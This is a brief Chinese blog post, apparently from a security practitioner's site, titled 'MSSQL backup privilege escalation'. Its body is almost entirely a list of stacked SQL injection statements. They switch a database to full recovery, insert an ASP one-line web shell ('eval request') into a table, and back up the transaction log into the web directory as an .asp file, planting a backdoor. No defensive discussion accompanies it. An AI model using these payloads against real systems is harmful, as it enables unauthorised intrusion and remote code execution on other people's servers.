DYBOY's Blog

MSSQL备份提权

Myssql备份提权

;alter database xxxx set RECOVERY FULL-- 
;create table cmd (a image)-- 
;backup log xxxx to disk = 'd:/web/1.bak' with init-- 
;insert into cmd (a) values ('<% eval request(123) %>')-- 
;backup log xxxx to disk = 'd:/web/2.asp'--
版权声明:《 MSSQL备份提权 》为DYBOY原创文章未经允许不得转载。

 DYBOY
 作者签名:安全从业者,爱好安全产品开发,渗透测试,Web漏洞研究

发表评论:

用心评论~

TOP
Powered by Emlog | Theme:Monkey by DYBOY
渝ICP备16008772号
sitemap